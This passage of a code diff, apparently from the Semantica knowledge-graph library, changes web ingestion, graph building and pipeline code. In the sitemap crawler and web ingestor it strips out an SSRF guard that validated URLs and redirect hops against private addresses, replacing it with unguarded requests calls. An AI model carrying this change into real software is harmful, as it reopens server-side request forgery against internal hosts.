validate_url_for_request(url, allow_private_ips=allow_private_ips)
|
||||
|
||||
requester = session.request if session is not None else requests.request
|
||||
current_url = url
|
||||
current_method = method.upper()
|
||||
redirects_followed = 0
|
||||
|
||||
while True:
|
||||
response = requester(
|
||||
current_method,
|
||||
current_url,
|
||||
allow_redirects=False,
|
||||
**kwargs,
|
||||
)
|
||||
|
||||
if response.status_code not in _REDIRECT_STATUS_CODES:
|
||||
return response
|
||||
|
||||
if redirects_followed >= max_redirects:
|
||||
response.close()
|
||||
raise ValidationError(
|
||||
f"Exceeded maximum redirects ({max_redirects}) while "
|
||||
f"fetching '{url}'"
|
||||
)
|
||||
|
||||
location = response.headers.get("Location")
|
||||
if not location or not str(location).strip():
|
||||
response.close()
|
||||
raise ValidationError(
|
||||
f"Redirect from '{current_url}' is missing a Location header"
|
||||
)
|
||||
|
||||
next_url = urljoin(current_url, str(location).strip())
|
||||
validate_url_for_request(next_url, allow_private_ips=allow_private_ips)
|
||||
|
||||
# Do not leak sensitive headers to a different origin on redirects:
|
||||
# reuse the caller's headers only while host, port, and scheme keep
|
||||
# the credential safe, mirroring requests' should_strip_auth.
|
||||
if _should_strip_auth(current_url, next_url):
|
||||
kwargs = dict(kwargs)
|
||||
headers = dict(kwargs.get("headers") or {})
|
||||
for sensitive in ("Authorization", "Proxy-Authorization"):
|
||||
headers.pop(sensitive, None)
|
||||
kwargs["headers"] = headers
|
||||
|
||||
# Match requests' historical method rewriting for 301/302/303.
|
||||
if (
|
||||
response.status_code in _STRIP_BODY_ON_REDIRECT
|
||||
and current_method not in {"GET", "HEAD"}
|
||||
):
|
||||
current_method = "GET"
|
||||
for key in ("data", "json", "files"):
|
||||
kwargs.pop(key, None)
|
||||
|
||||
# Params apply to the original request URL only; Location is authoritative.
|
||||
kwargs.pop("params", None)
|
||||
|
||||
response.close()
|
||||
current_url = next_url
|
||||
redirects_followed += 1
|
||||
@@ -48,7 +48,6 @@ from urllib3.util.retry import Retry
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .ssrf import parse_bool, request_with_ssrf_guard, validate_url_for_request
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -339,14 +338,10 @@ class SitemapCrawler:
|
||||
Sets up the crawler with configuration options.
|
||||
|
||||
Args:
|
||||
**config: Crawler configuration options. Recognized keys:
|
||||
- allow_private_ips: Allow private/loopback sitemap hosts
|
||||
**config: Crawler configuration options (currently unused)
|
||||
"""
|
||||
self.logger = get_logger("sitemap_crawler")
|
||||
self.config = config
|
||||
self.allow_private_ips = parse_bool(
|
||||
config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
def parse_sitemap(self, sitemap_url: str) -> List[str]:
|
||||
"""
|
||||
@@ -364,16 +359,10 @@ class SitemapCrawler:
|
||||
|
||||
Raises:
|
||||
ProcessingError: If sitemap cannot be fetched or parsed
|
||||
ValidationError: If sitemap_url fails SSRF checks
|
||||
"""
|
||||
try:
|
||||
# Fetch sitemap (SSRF-safe; validates URL and each redirect hop)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
sitemap_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
# Fetch sitemap
|
||||
response = requests.get(sitemap_url, timeout=30)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse XML
|
||||
@@ -402,8 +391,6 @@ class SitemapCrawler:
|
||||
)
|
||||
return urls
|
||||
|
||||
except ValidationError:
|
||||
raise
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to parse sitemap {sitemap_url}: {e}")
|
||||
raise ProcessingError(f"Failed to parse sitemap: {e}") from e
|
||||
@@ -424,16 +411,10 @@ class SitemapCrawler:
|
||||
|
||||
Raises:
|
||||
ProcessingError: If sitemap index cannot be fetched or parsed
|
||||
ValidationError: If index_url fails SSRF checks
|
||||
"""
|
||||
try:
|
||||
# Fetch sitemap index (SSRF-safe; validates URL and each redirect hop)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
index_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
# Fetch sitemap index
|
||||
response = requests.get(index_url, timeout=30)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse XML
|
||||
@@ -467,8 +448,6 @@ class SitemapCrawler:
|
||||
)
|
||||
return all_urls
|
||||
|
||||
except ValidationError:
|
||||
raise
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to crawl sitemap index {index_url}: {e}")
|
||||
raise ProcessingError(f"Failed to crawl sitemap index: {e}") from e
|
||||
@@ -508,7 +487,6 @@ class WebIngestor:
|
||||
max_retries: int = 3,
|
||||
backoff_factor: float = 1.0,
|
||||
timeout: int = 30,
|
||||
allow_private_ips: bool = False,
|
||||
config: Optional[Dict[str, Any]] = None,
|
||||
**kwargs,
|
||||
):
|
||||
@@ -525,19 +503,12 @@ class WebIngestor:
|
||||
max_retries: Maximum number of retry attempts (default: 3)
|
||||
backoff_factor: Backoff factor for retries (default: 1.0)
|
||||
timeout: Request timeout in seconds (default: 30)
|
||||
allow_private_ips: Allow fetching private/loopback/link-local hosts
|
||||
(default: False). Opt in only for trusted internal deployments.
|
||||
config: Optional configuration dictionary (merged with kwargs)
|
||||
**kwargs: Additional configuration parameters
|
||||
"""
|
||||
self.logger = get_logger("web_ingestor")
|
||||
self.config = config or {}
|
||||
self.config.update(kwargs)
|
||||
self.allow_private_ips = parse_bool(
|
||||
self.config.get("allow_private_ips", allow_private_ips),
|
||||
default=False,
|
||||
)
|
||||
self.config["allow_private_ips"] = self.allow_private_ips
|
||||
|
||||
# Initialize HTTP session with retry strategy
|
||||
self.session = requests.Session()
|
||||
@@ -573,8 +544,7 @@ class WebIngestor:
|
||||
|
||||
self.logger.debug(
|
||||
f"Web ingestor initialized: user_agent={user_agent}, "
|
||||
f"delay={delay}, respect_robots={respect_robots}, "
|
||||
f"allow_private_ips={self.allow_private_ips}"
|
||||
f"delay={delay}, respect_robots={respect_robots}"
|
||||
)
|
||||
|
||||
def ingest_url(
|
||||
@@ -604,9 +574,16 @@ class WebIngestor:
|
||||
)
|
||||
|
||||
try:
|
||||
# Validate before robots check: RobotsChecker.read() makes an unguarded
|
||||
# HTTP request to <host>/robots.txt and must not reach blocked addresses.
|
||||
validate_url_for_request(url, allow_private_ips=self.allow_private_ips)
|
||||
# Validate URL format
|
||||
try:
|
||||
parsed = urlparse(url)
|
||||
if not parsed.scheme or not parsed.netloc:
|
||||
raise ValidationError(
|
||||
f"Invalid URL format: {url}. "
|
||||
"URL must include scheme (http/https) and netloc (domain)."
|
||||
)
|
||||
except Exception as e:
|
||||
raise ValidationError(f"Invalid URL: {url}") from e
|
||||
|
||||
# Check robots.txt compliance
|
||||
if self.robots_checker and not self.robots_checker.can_fetch(url):
|
||||
@@ -616,19 +593,11 @@ class WebIngestor:
|
||||
# Apply rate limiting (wait if necessary)
|
||||
self.rate_limiter.wait_if_needed()
|
||||
|
||||
# Fetch content with retry logic (SSRF-safe redirects)
|
||||
# Fetch content with retry logic
|
||||
try:
|
||||
request_timeout = timeout or self.config.get("timeout", 30)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
url,
|
||||
session=self.session,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=request_timeout,
|
||||
)
|
||||
response = self.session.get(url, timeout=request_timeout)
|
||||
response.raise_for_status()
|
||||
except ValidationError:
|
||||
raise
|
||||
except requests.RequestException as e:
|
||||
self.progress_tracker.stop_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
|
||||
+59
-289
@@ -16,14 +16,14 @@ Key Features:
|
||||
Example Usage:
|
||||
>>> from semantica.kg import GraphBuilder
|
||||
>>> builder = GraphBuilder(merge_entities=True, resolve_conflicts=True)
|
||||
>>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}]) # doctest: +SKIP
|
||||
>>> graph = builder.build(sources=[{"entities": [...], "relationships": [...]}])
|
||||
|
||||
Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from datetime import datetime
|
||||
from typing import Any, Dict, List, Optional, Tuple, Union
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
import time
|
||||
|
||||
|
||||
@@ -90,18 +90,6 @@ class GraphBuilder:
|
||||
self.version_snapshots = version_snapshots
|
||||
self.graph_store = graph_store
|
||||
self.config = kwargs # Store additional config for extractors
|
||||
# Extractors are reused across texts: NERExtractor loads its spaCy model
|
||||
# eagerly in __init__, so constructing one per text would reload the
|
||||
# model on every source in a multi-document build.
|
||||
self._extractor_cache: Dict[Tuple[str, Any], Any] = {}
|
||||
# build() resets these per run; seed them here so _extract_from_text
|
||||
# is usable on its own instead of raising an AttributeError that the
|
||||
# broad except in the extraction path silently swallows.
|
||||
self._extraction_stats: Dict[str, int] = {
|
||||
"extracted_entities": 0,
|
||||
"extracted_relations": 0,
|
||||
"extracted_triplets": 0,
|
||||
}
|
||||
|
||||
# Initialize logging
|
||||
from ..utils.logging import get_logger
|
||||
@@ -240,99 +228,6 @@ class GraphBuilder:
|
||||
# Unknown type
|
||||
pass
|
||||
|
||||
def _get_extractor(
|
||||
self, kind: str, extractor_cls, method: Union[str, List[str]]
|
||||
):
|
||||
"""Return a cached extractor for this method, building it on first use.
|
||||
|
||||
Extractors hold no per-text state but are expensive to construct —
|
||||
``NERExtractor(method="ml")`` loads a spaCy model in ``__init__``.
|
||||
Keying on kind and method is enough because ``self.config`` is fixed
|
||||
for the lifetime of the builder.
|
||||
|
||||
Args:
|
||||
kind: Extractor role, one of ``"ner"``, ``"relation"``, ``"triplet"``.
|
||||
extractor_cls: Extractor class to construct on a cache miss.
|
||||
method: A method name, or a list of them for fallback ordering.
|
||||
Lists are converted to tuples for the cache key only; the
|
||||
extractor still receives the original value.
|
||||
"""
|
||||
key = (kind, tuple(method) if isinstance(method, list) else method)
|
||||
if key not in self._extractor_cache:
|
||||
self._extractor_cache[key] = extractor_cls(method=method, **self.config)
|
||||
return self._extractor_cache[key]
|
||||
|
||||
def _remap_relationship_endpoints(
|
||||
self,
|
||||
entities: List[Dict[str, Any]],
|
||||
relationships: List[Dict[str, Any]],
|
||||
) -> int:
|
||||
"""Rewrite relationship endpoints after entity resolution.
|
||||
|
||||
Entity merging keeps the canonical entity ID and records the IDs of all
|
||||
merged inputs in ``merged_from``. Relationships are collected before
|
||||
resolution, so without this remapping they can continue to reference an
|
||||
entity that is no longer present in the graph.
|
||||
|
||||
Returns:
|
||||
The number of relationship endpoints that were remapped.
|
||||
"""
|
||||
endpoint_map: Dict[Any, Any] = {}
|
||||
|
||||
for entity in entities:
|
||||
if not isinstance(entity, dict):
|
||||
continue
|
||||
|
||||
canonical_id = entity.get("id")
|
||||
if canonical_id is None:
|
||||
canonical_id = entity.get("entity_id")
|
||||
if canonical_id is None:
|
||||
continue
|
||||
|
||||
# Keep canonical IDs stable and map every source ID retained by the
|
||||
# merge operation to the surviving entity.
|
||||
try:
|
||||
endpoint_map[canonical_id] = canonical_id
|
||||
except TypeError:
|
||||
# Invalid/unhashable IDs are left for graph validation to report
|
||||
# rather than making graph construction fail here.
|
||||
continue
|
||||
|
||||
merged_from = entity.get("merged_from") or []
|
||||
if isinstance(merged_from, (list, tuple, set)):
|
||||
for source_id in merged_from:
|
||||
if source_id is not None:
|
||||
try:
|
||||
endpoint_map[source_id] = canonical_id
|
||||
except TypeError:
|
||||
# Skip invalid aliases while preserving valid ones.
|
||||
continue
|
||||
|
||||
remapped_count = 0
|
||||
for relationship in relationships:
|
||||
if not isinstance(relationship, dict):
|
||||
continue
|
||||
|
||||
for endpoint in ("source", "target"):
|
||||
endpoint_id = relationship.get(endpoint)
|
||||
try:
|
||||
canonical_id = endpoint_map.get(endpoint_id)
|
||||
except TypeError:
|
||||
# Invalid/unhashable endpoints are left for graph validation
|
||||
# to report rather than making graph construction fail here.
|
||||
continue
|
||||
|
||||
if canonical_id is not None and canonical_id != endpoint_id:
|
||||
relationship[endpoint] = canonical_id
|
||||
remapped_count += 1
|
||||
|
||||
if remapped_count:
|
||||
self.logger.info(
|
||||
"Remapped %d relationship endpoint(s) after entity resolution",
|
||||
remapped_count,
|
||||
)
|
||||
return remapped_count
|
||||
|
||||
def _extract_from_text(self, text: str, all_entities: List[Any], all_relationships: List[Any], **options):
|
||||
"""Helper to extract knowledge from text using configured methods."""
|
||||
if not options.get("extract", True):
|
||||
@@ -342,17 +237,15 @@ class GraphBuilder:
|
||||
from ..semantic_extract.relation_extractor import RelationExtractor
|
||||
from ..semantic_extract.triplet_extractor import TripletExtractor
|
||||
|
||||
# Local extractors by default — raw-text build() must not require a
|
||||
# provider, API key, or network access. Pass ner_method="llm" (and the
|
||||
# relation/triplet equivalents) to opt into LLM extraction.
|
||||
ner_method = options.get("ner_method", "ml")
|
||||
relation_method = options.get("relation_method", "pattern")
|
||||
triplet_method = options.get("triplet_method", "pattern")
|
||||
# Default to LLM methods as per requirement
|
||||
ner_method = options.get("ner_method", "llm")
|
||||
relation_method = options.get("relation_method", "llm")
|
||||
triplet_method = options.get("triplet_method", "llm")
|
||||
|
||||
self.logger.info(f"Extracting knowledge from text ({len(text)} chars) using {ner_method}...")
|
||||
|
||||
# 1. Extract Entities
|
||||
ner = self._get_extractor("ner", NERExtractor, ner_method)
|
||||
ner = NERExtractor(method=ner_method, **self.config)
|
||||
try:
|
||||
entities = ner.extract_entities(text, **options)
|
||||
extracted_count = len(entities)
|
||||
@@ -365,16 +258,8 @@ class GraphBuilder:
|
||||
entities = []
|
||||
|
||||
# 2. Extract Relations (if requested)
|
||||
# Stays None when relation extraction is skipped or fails, which lets
|
||||
# TripletExtractor derive its own relations as before. When we do have
|
||||
# them, they are forwarded below so triplets reuse the relations
|
||||
# extracted with relation_method rather than re-deriving via
|
||||
# triplet_method.
|
||||
relations = None
|
||||
if options.get("extract_relations", False):
|
||||
rel_extractor = self._get_extractor(
|
||||
"relation", RelationExtractor, relation_method
|
||||
)
|
||||
if options.get("extract_relations", True):
|
||||
rel_extractor = RelationExtractor(method=relation_method, **self.config)
|
||||
try:
|
||||
# Pass entities if available to help relation extraction
|
||||
relations = rel_extractor.extract_relations(text, entities=entities, **options)
|
||||
@@ -388,13 +273,9 @@ class GraphBuilder:
|
||||
|
||||
# 3. Extract Triplets (if requested)
|
||||
if options.get("extract_triplets", True):
|
||||
trip_extractor = self._get_extractor(
|
||||
"triplet", TripletExtractor, triplet_method
|
||||
)
|
||||
trip_extractor = TripletExtractor(method=triplet_method, **self.config)
|
||||
try:
|
||||
triplets = trip_extractor.extract_triplets(
|
||||
text, entities=entities, relations=relations, **options
|
||||
)
|
||||
triplets = trip_extractor.extract_triplets(text, entities=entities, **options)
|
||||
extracted_count = len(triplets)
|
||||
self._extraction_stats["extracted_triplets"] += extracted_count
|
||||
self.logger.info(f"Extracted {extracted_count} triplets")
|
||||
@@ -410,51 +291,21 @@ class GraphBuilder:
|
||||
pipeline_id: Optional[str] = None,
|
||||
**options,
|
||||
) -> Dict[str, Any]:
|
||||
"""Build a knowledge graph from one or more sources.
|
||||
"""
|
||||
Build knowledge graph from sources.
|
||||
|
||||
Args:
|
||||
sources: A source or list of sources. Sources may be text,
|
||||
pre-extracted objects, or dictionaries containing ``entities``
|
||||
and ``relationships``.
|
||||
second_arg: An optional relationship list or entity resolver kept
|
||||
for backward compatibility.
|
||||
pipeline_id: Optional pipeline identifier used for progress
|
||||
tracking.
|
||||
**options: Additional graph-building options:
|
||||
|
||||
- ``extract`` (bool): Whether to run text extraction when a
|
||||
raw string or ``{"text": ...}`` dict is passed as a source
|
||||
(default: ``True``).
|
||||
- ``extract_relations`` (bool): Whether to extract relations
|
||||
during text extraction (default: ``False``).
|
||||
- ``extract_triplets`` (bool): Whether to extract triplets
|
||||
during text extraction (default: ``True``).
|
||||
- ``ner_method`` (str): NER backend used for text extraction
|
||||
(e.g. ``"ml"``, ``"pattern"``, ``"llm"``; default: ``"ml"``).
|
||||
- ``relation_method`` (str): Relation-extraction backend
|
||||
(e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
|
||||
- ``triplet_method`` (str): Triplet-extraction backend
|
||||
(e.g. ``"pattern"``, ``"llm"``; default: ``"pattern"``).
|
||||
- ``entity_resolver``: An :class:`EntityResolver` instance
|
||||
that overrides the one configured on the builder.
|
||||
- ``relationships`` (list): An explicit list of relationships
|
||||
to include in addition to those found in *sources*.
|
||||
|
||||
Raw-text extraction uses local extractors by default and needs no
|
||||
provider or API key. To use LLM extraction, pass the methods
|
||||
explicitly, e.g. ``ner_method="llm"``.
|
||||
sources: Entities or sources list
|
||||
second_arg: Optional relationships list or entity_resolver (for backward compatibility)
|
||||
pipeline_id: Optional pipeline ID for progress tracking
|
||||
**options: Additional build options
|
||||
- extract: Whether to extract entities from text (default: True)
|
||||
- extract_relations: Whether to extract relations from text (default: False)
|
||||
- ner_method: NER method to use (default: "ml")
|
||||
- triplet_method: Triplet extraction method (default: "pattern")
|
||||
|
||||
Returns:
|
||||
A dictionary containing the graph's ``entities``,
|
||||
``relationships``, and build ``metadata``.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.build( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []}
|
||||
... )
|
||||
>>> graph["metadata"]["num_entities"] # doctest: +SKIP
|
||||
1
|
||||
Dictionary containing entities and relationships
|
||||
"""
|
||||
# Handle arguments
|
||||
entity_resolver = None
|
||||
@@ -756,16 +607,6 @@ class GraphBuilder:
|
||||
f"Entity resolution complete: {len(all_entities)} -> {len(resolved_entities)} unique entities"
|
||||
)
|
||||
|
||||
# Relationships were collected before entity resolution. Rewrite
|
||||
# endpoints only when resolution produced merged entity IDs.
|
||||
if resolver_to_use:
|
||||
has_merged_entities = any(
|
||||
isinstance(entity, dict) and entity.get("merged_from")
|
||||
for entity in resolved_entities
|
||||
)
|
||||
if has_merged_entities:
|
||||
self._remap_relationship_endpoints(resolved_entities, all_relationships)
|
||||
|
||||
if input_relationships_count > 0 and len(all_relationships) == 0:
|
||||
warning_msg = (
|
||||
f"All relationships were dropped during graph building: "
|
||||
@@ -889,26 +730,6 @@ class GraphBuilder:
|
||||
pipeline_id: Optional[str] = None,
|
||||
**options,
|
||||
) -> Dict[str, Any]:
|
||||
"""Build a knowledge graph from a single source dictionary.
|
||||
|
||||
Args:
|
||||
kg_data: Source data containing entities, relationships, or both.
|
||||
pipeline_id: Optional pipeline identifier used for progress
|
||||
tracking.
|
||||
**options: Additional options forwarded to :meth:`build`.
|
||||
|
||||
Returns:
|
||||
A dictionary containing the graph's ``entities``,
|
||||
``relationships``, and build ``metadata``.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.build_single_source( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []}
|
||||
... )
|
||||
>>> len(graph["entities"]) # doctest: +SKIP
|
||||
1
|
||||
"""
|
||||
return self.build(kg_data, pipeline_id=pipeline_id, **options)
|
||||
|
||||
def add_temporal_edge(
|
||||
@@ -922,33 +743,21 @@ class GraphBuilder:
|
||||
temporal_metadata=None,
|
||||
**kwargs,
|
||||
):
|
||||
"""Add an edge with temporal validity information to a graph.
|
||||
"""
|
||||
Add edge with temporal validity information.
|
||||
|
||||
Args:
|
||||
graph: Mutable knowledge-graph dictionary to update.
|
||||
source: Identifier of the source entity or node.
|
||||
target: Identifier of the target entity or node.
|
||||
relationship: Relationship type for the edge.
|
||||
valid_from: Start of the validity period. Accepts a datetime or
|
||||
ISO-formatted string; defaults to the current time.
|
||||
valid_until: End of the validity period, or ``None`` for an
|
||||
ongoing relationship.
|
||||
temporal_metadata: Optional metadata such as timezone or
|
||||
precision information.
|
||||
**kwargs: Additional properties to include on the edge.
|
||||
graph: Knowledge graph to add edge to
|
||||
source: Source entity/node
|
||||
target: Target entity/node
|
||||
relationship: Relationship type
|
||||
valid_from: Start time for relationship validity (datetime, timestamp, or ISO string)
|
||||
valid_until: End time for relationship validity (None for ongoing)
|
||||
temporal_metadata: Additional temporal metadata (timezone, precision, etc.)
|
||||
**kwargs: Additional edge properties
|
||||
|
||||
Returns:
|
||||
The temporal edge dictionary appended to the graph's
|
||||
``relationships`` list.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = {"entities": [], "relationships": []}
|
||||
>>> edge = builder.add_temporal_edge( # doctest: +SKIP
|
||||
... graph, "ada", "analytical-engine", "DESIGNED"
|
||||
... )
|
||||
>>> edge["type"] # doctest: +SKIP
|
||||
'DESIGNED'
|
||||
Edge object with temporal annotations
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -997,29 +806,17 @@ class GraphBuilder:
|
||||
def create_temporal_snapshot(
|
||||
self, graph, timestamp=None, snapshot_name=None, **options
|
||||
):
|
||||
"""Create a snapshot of a graph at a specific point in time.
|
||||
"""
|
||||
Create temporal snapshot of graph at specific time point.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph whose entities and relationships will be
|
||||
copied into the snapshot.
|
||||
timestamp: Snapshot time, or ``None`` to use the current time.
|
||||
snapshot_name: Optional human-readable snapshot name.
|
||||
**options: Additional snapshot options reserved for extensions.
|
||||
graph: Knowledge graph to snapshot
|
||||
timestamp: Time point for snapshot (None for current time)
|
||||
snapshot_name: Optional name for snapshot
|
||||
**options: Additional snapshot options
|
||||
|
||||
Returns:
|
||||
A snapshot dictionary containing the name, timestamp, all copied
|
||||
entities, relationships valid at the timestamp, and summary
|
||||
metadata.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> snapshot = builder.create_temporal_snapshot( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []},
|
||||
... timestamp="2026-01-01T00:00:00",
|
||||
... snapshot_name="new-year",
|
||||
... )
|
||||
>>> snapshot["name"] # doctest: +SKIP
|
||||
'new-year'
|
||||
Temporal snapshot object
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -1100,32 +897,19 @@ class GraphBuilder:
|
||||
temporal_window=None,
|
||||
**options,
|
||||
):
|
||||
"""Query a graph at a specific time or over a time range.
|
||||
"""
|
||||
Query graph at specific time point or time range.
|
||||
|
||||
Args:
|
||||
graph: Knowledge graph to query.
|
||||
query: Query text to record in the result. The current
|
||||
implementation does not interpret it or filter the graph.
|
||||
at_time: Optional point in time at which to query the graph.
|
||||
time_range: Optional ``(start, end)`` time range. The graph is
|
||||
evaluated at the end of the range.
|
||||
temporal_window: Optional temporal-window value reserved for
|
||||
query-engine integrations.
|
||||
**options: Additional query options reserved for extensions.
|
||||
graph: Knowledge graph to query
|
||||
query: Query (Cypher, SPARQL, or natural language)
|
||||
at_time: Query at specific time point
|
||||
time_range: Query within time range (start, end)
|
||||
temporal_window: Temporal window size
|
||||
**options: Additional query options
|
||||
|
||||
Returns:
|
||||
A dictionary containing the query, temporal context, entities and
|
||||
relationships from the selected graph or snapshot, and graph
|
||||
metadata.
|
||||
|
||||
Example:
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> result = builder.query_temporal( # doctest: +SKIP
|
||||
... {"entities": [{"id": "ada"}], "relationships": []},
|
||||
... "MATCH (n) RETURN n",
|
||||
... )
|
||||
>>> result["entities"][0]["id"] # doctest: +SKIP
|
||||
'ada'
|
||||
Query results with temporal context
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
@@ -1188,34 +972,20 @@ class GraphBuilder:
|
||||
temporal_property="valid_time",
|
||||
**kwargs,
|
||||
):
|
||||
"""Load a knowledge graph from a Neo4j database.
|
||||
"""
|
||||
Load graph from Neo4j database.
|
||||
|
||||
Args:
|
||||
uri: Neo4j connection URI.
|
||||
username: Neo4j username.
|
||||
password:
|
||||
Authentication credential supplied for the Neo4j user.
|
||||
database: Neo4j database name.
|
||||
enable_temporal: Whether to read temporal relationship data.
|
||||
temporal_property: Relationship property containing temporal
|
||||
data.
|
||||
**kwargs: Additional connection options reserved for extensions.
|
||||
uri: Neo4j connection URI
|
||||
username: Neo4j username
|
||||
password: Neo4j password
|
||||
database: Neo4j database name
|
||||
enable_temporal: Enable temporal features for loaded graph
|
||||
temporal_property: Property name for temporal data
|
||||
**kwargs: Additional connection options
|
||||
|
||||
Returns:
|
||||
A dictionary containing loaded entities, relationships, and
|
||||
source metadata.
|
||||
|
||||
Raises:
|
||||
ImportError: If the Neo4j driver is unavailable.
|
||||
|
||||
Example:
|
||||
>>> import os
|
||||
>>> builder = GraphBuilder(resolve_conflicts=False)
|
||||
>>> graph = builder.load_from_neo4j( # doctest: +SKIP
|
||||
... "bolt://localhost:7687",
|
||||
... "neo4j",
|
||||
... os.environ["NEO4J_PASSWORD"],
|
||||
... )
|
||||
Knowledge graph loaded from Neo4j
|
||||
"""
|
||||
tracking_id = self.progress_tracker.start_tracking(
|
||||
module="kg",
|
||||
|
||||
@@ -47,15 +47,6 @@ import os
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
# `semantica.__version__` is the authoritative package version — it is kept in
|
||||
# sync with pyproject.toml's static `version` field by the release process and
|
||||
# is always present whenever this submodule is importable. Using it directly
|
||||
# is simpler and more reliable than `importlib.metadata.version("semantica")`,
|
||||
# which reads dist-info written at install time and can lag the source in
|
||||
# editable installs (egg-info / dist-info is not regenerated on every version
|
||||
# bump, so it can reflect a stale value).
|
||||
from semantica import __version__ as _SEMANTICA_VERSION
|
||||
|
||||
# ── logging ────────────────────────────────────────────────────────────────
|
||||
_log_level = getattr(logging, os.environ.get("SEMANTICA_LOG_LEVEL", "WARNING").upper(), logging.WARNING)
|
||||
logging.basicConfig(stream=sys.stderr, level=_log_level,
|
||||
@@ -486,7 +477,7 @@ def _read_resource(uri: str) -> dict:
|
||||
if uri == "semantica://schema/info":
|
||||
return {
|
||||
"name": "Semantica",
|
||||
"version": _SEMANTICA_VERSION,
|
||||
"version": "0.4.0",
|
||||
"tools": [t["name"] for t in TOOLS],
|
||||
"resources": [r["uri"] for r in RESOURCES],
|
||||
}
|
||||
@@ -499,7 +490,7 @@ def _read_resource(uri: str) -> dict:
|
||||
|
||||
SERVER_INFO = {
|
||||
"name": "semantica",
|
||||
"version": _SEMANTICA_VERSION,
|
||||
"version": "0.4.0",
|
||||
}
|
||||
|
||||
CAPABILITIES = {
|
||||
|
||||
@@ -6,14 +6,9 @@ capturing all steps, inputs, outputs, and transformations.
|
||||
|
||||
Usage:
|
||||
from semantica.pipeline.pipeline_provenance import PipelineWithProvenance
|
||||
from semantica.pipeline import PipelineBuilder
|
||||
|
||||
builder = PipelineBuilder()
|
||||
builder.add_step("ingest", "file_ingest")
|
||||
pipeline = builder.build("my_pipeline")
|
||||
|
||||
runner = PipelineWithProvenance(pipeline, provenance=True)
|
||||
result = runner.run(data)
|
||||
|
||||
pipeline = PipelineWithProvenance(provenance=True)
|
||||
result = pipeline.run(data)
|
||||
# Tracks all pipeline steps with complete lineage
|
||||
|
||||
Author: Semantica Contributors
|
||||
@@ -21,37 +16,26 @@ License: MIT
|
||||
"""
|
||||
|
||||
from typing import Optional, Any, Dict, List
|
||||
from datetime import datetime, timezone
|
||||
from datetime import datetime
|
||||
import uuid
|
||||
import time
|
||||
|
||||
from .pipeline_builder import Pipeline
|
||||
from .execution_engine import ExecutionEngine
|
||||
|
||||
|
||||
class PipelineWithProvenance:
|
||||
"""Pipeline executor with complete provenance tracking."""
|
||||
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pipeline: Pipeline,
|
||||
provenance: bool = False,
|
||||
agent_id: Optional[str] = None,
|
||||
is_automated: bool = True,
|
||||
**engine_config,
|
||||
**config,
|
||||
):
|
||||
"""Initialize provenance-tracked pipeline runner.
|
||||
"""Initialize pipeline with optional provenance."""
|
||||
from .pipeline import Pipeline
|
||||
|
||||
Args:
|
||||
pipeline: A built Pipeline instance (from PipelineBuilder.build()).
|
||||
provenance: Whether to record provenance metadata.
|
||||
agent_id: Identifier for the agent running the pipeline.
|
||||
is_automated: Whether the execution is automated (vs. human-triggered).
|
||||
**engine_config: Extra keyword arguments forwarded to ExecutionEngine.
|
||||
"""
|
||||
self._pipeline = pipeline
|
||||
self._engine = ExecutionEngine(**engine_config)
|
||||
self.provenance = provenance
|
||||
self._pipeline = Pipeline(**config)
|
||||
self._prov_manager = None
|
||||
self._agent_id = agent_id or self.__class__.__name__
|
||||
self._is_automated = is_automated
|
||||
@@ -63,24 +47,15 @@ class PipelineWithProvenance:
|
||||
except ImportError:
|
||||
self.provenance = False
|
||||
|
||||
def run(self, data: Any = None, source: Optional[str] = None, **kwargs):
|
||||
"""Run pipeline with provenance tracking.
|
||||
|
||||
Args:
|
||||
data: Input data to feed into the pipeline.
|
||||
source: Provenance source label (defaults to "pipeline_execution").
|
||||
**kwargs: Extra options forwarded to ExecutionEngine.execute_pipeline().
|
||||
|
||||
Returns:
|
||||
ExecutionResult from the engine.
|
||||
"""
|
||||
def run(self, data: Any, source: Optional[str] = None, **kwargs):
|
||||
"""Run pipeline with provenance tracking."""
|
||||
pipeline_id = f"pipeline_{uuid.uuid4().hex[:8]}"
|
||||
start_time = time.time()
|
||||
activity_started_at_time = datetime.now(timezone.utc).isoformat()
|
||||
activity_started_at_time = datetime.utcnow().isoformat()
|
||||
|
||||
